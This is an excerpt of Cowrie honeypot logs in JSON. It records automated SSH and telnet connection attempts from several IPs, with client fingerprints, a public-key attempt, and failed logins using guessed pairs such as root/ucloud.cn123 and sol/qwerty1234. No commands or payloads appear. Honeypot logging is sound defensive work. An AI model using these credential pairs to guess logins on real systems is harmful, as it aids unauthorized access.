{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:47.620037Z","src_ip":"92.118.39.236","session":"44ce746a4b11","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:03:48.071075Z","src_ip":"92.118.39.236","session":"44ce746a4b11","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":44600,"dst_ip":"10.17.0.5","dst_port":22,"session":"6beb9ee37e48","protocol":"ssh","message":"New connection: 193.32.162.145:44600 (10.17.0.5:22) [session: 6beb9ee37e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:10.320833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:10.336779Z","src_ip":"193.32.162.145","session":"6beb9ee37e48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:10.443548Z","src_ip":"193.32.162.145","session":"6beb9ee37e48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"12345678","message":"login attempt [solv/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:10.791916Z","src_ip":"193.32.162.145","session":"6beb9ee37e48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:11.901385Z","src_ip":"193.32.162.145","session":"6beb9ee37e48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":46769,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed3cc81d434e","protocol":"ssh","message":"New connection: 193.24.211.100:46769 (159.203.135.109:22) [session: ed3cc81d434e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:30.228939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:30.234223Z","src_ip":"193.24.211.100","session":"ed3cc81d434e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:30.345108Z","src_ip":"193.24.211.100","session":"ed3cc81d434e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"support","password":"12345","message":"login attempt [support/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:30.766909Z","src_ip":"193.24.211.100","session":"ed3cc81d434e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:31.878339Z","src_ip":"193.24.211.100","session":"ed3cc81d434e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":65453,"dst_ip":"10.17.0.5","dst_port":23,"session":"925a5c0cd718","protocol":"telnet","message":"New connection: 212.55.149.117:65453 (10.17.0.5:23) [session: 925a5c0cd718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:04:49.683053Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":35988,"dst_ip":"10.17.0.5","dst_port":22,"session":"20297eb6a547","protocol":"ssh","message":"New connection: 193.32.162.145:35988 (10.17.0.5:22) [session: 20297eb6a547]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:17.439504Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:17.457652Z","src_ip":"193.32.162.145","session":"20297eb6a547","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:17.544614Z","src_ip":"193.32.162.145","session":"20297eb6a547","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"qwerty123","message":"login attempt [solv/qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:17.953195Z","src_ip":"193.32.162.145","session":"20297eb6a547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:19.120436Z","src_ip":"193.32.162.145","session":"20297eb6a547","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00250315666199,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:49.685440Z","src_ip":"212.55.149.117","session":"925a5c0cd718","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":45462,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab84e82053cc","protocol":"ssh","message":"New connection: 103.15.226.202:45462 (10.17.0.5:22) [session: ab84e82053cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:57.515820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:57.520743Z","src_ip":"103.15.226.202","session":"ab84e82053cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:57.766815Z","src_ip":"103.15.226.202","session":"ab84e82053cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ucloud.cn123","message":"login attempt [root/ucloud.cn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:58.491467Z","src_ip":"103.15.226.202","session":"ab84e82053cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:06:59.735451Z","src_ip":"103.15.226.202","session":"ab84e82053cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":39208,"dst_ip":"10.17.0.5","dst_port":23,"session":"21c4fd11bf36","protocol":"telnet","message":"New connection: 212.55.149.117:39208 (10.17.0.5:23) [session: 21c4fd11bf36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:07:49.961671Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":55616,"dst_ip":"10.17.0.5","dst_port":22,"session":"df083ef9f2b3","protocol":"ssh","message":"New connection: 193.32.162.145:55616 (10.17.0.5:22) [session: df083ef9f2b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:08:22.478202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:08:22.482179Z","src_ip":"193.32.162.145","session":"df083ef9f2b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:08:22.585618Z","src_ip":"193.32.162.145","session":"df083ef9f2b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"qwerty1234","message":"login attempt [sol/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:08:22.895561Z","src_ip":"193.32.162.145","session":"df083ef9f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:08:24.002400Z","src_ip":"193.32.162.145","session":"df083ef9f2b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":19522,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed0d926636b9","protocol":"telnet","message":"New connection: 212.55.149.117:19522 (10.17.0.5:23) [session: ed0d926636b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:09:38.096586Z"}
{"eventid":"cowrie.session.closed","duration":120.0133867263794,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:09:49.974959Z","src_ip":"212.55.149.117","session":"21c4fd11bf36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.245.225.106","src_port":58818,"dst_ip":"10.17.0.5","dst_port":22,"session":"586a3c15335c","protocol":"ssh","message":"New connection: 172.245.225.106:58818 (10.17.0.5:22) [session: 586a3c15335c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:18.759700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:18.765037Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:18.812912Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"04:30:30:a5:d1:39:00:41:f7:79:16:55:fd:98:b7:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAEEPevXgzwTUeSltzfdwMLM10gMZoS2u/FhuGFtcFPc0xzBYW0Wi0tEFSLr7UAn3aVKKgH8a2TqPOJrwLreCoiqOdfwKU/Thrnv9QOopybt4IDPQ/iQXIjAf+jXlLH+6BKaBXMyq2WoR+Kxfl05neQfZEU+keByg+v9d/Ewk/VdWpQgHdTXaI10u0dkCP4F+5JX23gIlIyz3zLYsbJK2M0byNC+BKudDGW/2zGf9QSSSLoYhcXNcLSbMeqFnDey5TjKA7mwbrA+bXZlJobmYwPiVbT0GnnCt2QRnD4J5Al9Erj75hEi8DLegKGQLbnoRFumrqBBQMBldcZZW7FFzT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 04:30:30:a5:d1:39:00:41:f7:79:16:55:fd:98:b7:1f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.015812Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"04:30:30:a5:d1:39:00:41:f7:79:16:55:fd:98:b7:1f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAEEPevXgzwTUeSltzfdwMLM10gMZoS2u/FhuGFtcFPc0xzBYW0Wi0tEFSLr7UAn3aVKKgH8a2TqPOJrwLreCoiqOdfwKU/Thrnv9QOopybt4IDPQ/iQXIjAf+jXlLH+6BKaBXMyq2WoR+Kxfl05neQfZEU+keByg+v9d/Ewk/VdWpQgHdTXaI10u0dkCP4F+5JX23gIlIyz3zLYsbJK2M0byNC+BKudDGW/2zGf9QSSSLoYhcXNcLSbMeqFnDey5TjKA7mwbrA+bXZlJobmYwPiVbT0GnnCt2QRnD4J5Al9Erj75hEi8DLegKGQLbnoRFumrqBBQMBldcZZW7FFzT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T04:10:19.020825Z","src_ip":"172.245.225.106","session":"586a3c15335c","protocol":"ssh"}
